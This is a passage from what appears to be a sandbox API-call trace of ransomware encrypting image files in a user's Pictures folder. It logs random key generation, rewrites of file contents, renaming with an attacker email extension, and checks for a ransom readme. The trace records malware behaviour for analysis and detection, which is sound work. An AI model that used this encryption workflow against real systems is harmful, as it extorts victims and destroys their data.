lpNumberOfBytesWritten=0x10cefd8c*=0x4, lpOverlapped=0x0) returned 1 [0169.570] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10cefd8c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10cefd8c*=0x6c, lpOverlapped=0x0) returned 1 [0169.570] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10cefd8c, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x10cefd8c*=0x20, lpOverlapped=0x0) returned 1 [0169.570] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10cefd8c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10cefd8c*=0x4, lpOverlapped=0x0) returned 1 [0169.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f880c0) returned 1 [0169.571] CloseHandle (hObject=0x370) returned 1 [0169.571] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc41c0 [0169.571] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731" [0169.571] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.571] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5lffhhc1phkhshohy_r-.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5lffhhc1phkhshohy_r-.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.572] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0169.572] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4900 [0169.572] wcscpy (in: _Dest=0x2fa4900, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.572] wcscat (in: _Dest=0x2fa4900, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.572] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4900) returned 1 [0169.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6dd10) returned 1 [0169.572] RtlExitUserThread (Status=0x1) Thread: id = 1854 os_tid = 0xc8c [0169.574] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\9b1gcmf d0wxqdonee4.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.575] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\9b1gcmf d0wxqdonee4.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.575] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10d6fbc4 | out: lpFileSize=0x10d6fbc4*=56233) returned 1 [0169.575] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xdba5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.575] ReadFile (in: hFile=0x370, lpBuffer=0x10d6fb98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10d6fb94, lpOverlapped=0x0 | out: lpBuffer=0x10d6fb98*, lpNumberOfBytesRead=0x10d6fb94*=0x4, lpOverlapped=0x0) returned 1 [0169.576] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f880c0 [0169.576] NtQuerySystemTime (in: CurrentTime=0x10d6fb70 | out: CurrentTime=0x10d6fb70*=132121213268970519) returned 0x0 [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x6d023ead [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x7d7ad417 [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x2de137ca [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x8367b7f1 [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xe0204e16 [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x182c259 [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xe27d6343 [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x5dadedc2 [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x8da1284 [0169.576] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x44dc0e80 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x3b24db84 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xfe24aa0 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x65bfad63 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x87f60080 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xcdad923c [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x1d2925dc [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x753a0fb3 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xf11a2c25 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x5b2a655d [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xab1a6dc8 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xda8decc8 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x3349aaf [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x9cbcde2e [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x89edc0f6 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x13e1a84d [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x80b748bd [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xc86e57c9 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xd235c665 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0x91f20aa [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xe097c6e0 [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xa8c51bfa [0169.577] RtlRandom (in: Seed=0x10d6fb7c | out: Seed=0x10d6fb7c) returned 0xc45ccf41 [0169.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f880e8 [0169.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.589] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.589] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x10d6fb48, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10d6fb48*=0x4096, lpOverlapped=0x0) returned 1 [0169.589] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.590] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.590] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.590] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.590] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x10d6fb48, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10d6fb48*=0x4096, lpOverlapped=0x0) returned 1 [0169.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.591] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xdba9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.591] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10d6fb80, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x10d6fb80*=0x20, lpOverlapped=0x0) returned 1 [0169.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.591] WriteFile (in: hFile=0x370, lpBuffer=0x2f880e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10d6fb94, lpOverlapped=0x0 | out: lpBuffer=0x2f880e8*, lpNumberOfBytesWritten=0x10d6fb94*=0x8, lpOverlapped=0x0) returned 1 [0169.591] WriteFile (in: hFile=0x370, lpBuffer=0x10d6fbac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10d6fb94, lpOverlapped=0x0 | out: lpBuffer=0x10d6fbac*, lpNumberOfBytesWritten=0x10d6fb94*=0x4, lpOverlapped=0x0) returned 1 [0169.592] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10d6fb94, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x10d6fb94*=0x4, lpOverlapped=0x0) returned 1 [0169.592] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10d6fb94, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10d6fb94*=0x6c, lpOverlapped=0x0) returned 1 [0169.592] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10d6fb94, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x10d6fb94*=0x20, lpOverlapped=0x0) returned 1 [0169.592] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10d6fb94, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10d6fb94*=0x4, lpOverlapped=0x0) returned 1 [0169.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f880e8) returned 1 [0169.592] CloseHandle (hObject=0x370) returned 1 [0169.592] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc41c0 [0169.592] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731" [0169.592] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.592] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\9b1gcmf d0wxqdonee4.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\9b1gcmf d0wxqdonee4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.593] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.594] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0169.594] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa46c0 [0169.594] wcscpy (in: _Dest=0x2fa46c0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.594] wcscat (in: _Dest=0x2fa46c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.594] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.594] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa46c0) returned 1 [0169.594] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e340) returned 1 [0169.594] RtlExitUserThread (Status=0x1) Thread: id = 1855 os_tid = 0xc78 [0169.595] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bqoj4hgouy4 xwp9dd.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.595] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bqoj4hgouy4 xwp9dd.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.596] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10defe4c | out: lpFileSize=0x10defe4c*=62041) returned 1 [0169.596] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xf255, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.596] ReadFile (in: hFile=0x370, lpBuffer=0x10defe20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10defe1c, lpOverlapped=0x0 | out: lpBuffer=0x10defe20*, lpNumberOfBytesRead=0x10defe1c*=0x4, lpOverlapped=0x0) returned 1 [0169.597] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f880e8 [0169.597] NtQuerySystemTime (in: CurrentTime=0x10defdf8 | out: CurrentTime=0x10defdf8*=132121213269127078) returned 0x0 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x31e8997b [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xa4908fcc [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x3c97f48c [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xf1337d53 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x10e93da1 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xdd0f3c16 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x56940f1b [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xd013bcd9 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x24f4d381 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x95d839e7 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x929561b [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xecf82afe [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x918d88ef [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xf110c520 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x9f02c91e [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xd1c80554 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x24a7002e [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xf0ab2c3 [0169.597] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xeb809039 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x547d4ad2 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xa7eb26db [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xec0d25aa [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x109f31a2 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x263cadad [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x196d297 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xbe584345 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x8d656e75 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x560b0472 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x1a9688b6 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x83b8c4d6 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0x538681b2 [0169.598] RtlRandom (in: Seed=0x10defe04 | out: Seed=0x10defe04) returned 0xa5f59990 [0169.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88110 [0169.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.609] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.609] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x10defdd0, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10defdd0*=0x4096, lpOverlapped=0x0) returned 1 [0169.610] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.610] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x10defdd0, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10defdd0*=0x4096, lpOverlapped=0x0) returned 1 [0169.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.611] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xf259, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.611] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10defe08, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x10defe08*=0x20, lpOverlapped=0x0) returned 1 [0169.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.612] WriteFile (in: hFile=0x370, lpBuffer=0x2f88110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10defe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f88110*, lpNumberOfBytesWritten=0x10defe1c*=0x8, lpOverlapped=0x0) returned 1 [0169.612] WriteFile (in: hFile=0x370, lpBuffer=0x10defe34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10defe1c, lpOverlapped=0x0 | out: lpBuffer=0x10defe34*, lpNumberOfBytesWritten=0x10defe1c*=0x4, lpOverlapped=0x0) returned 1 [0169.612] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10defe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, 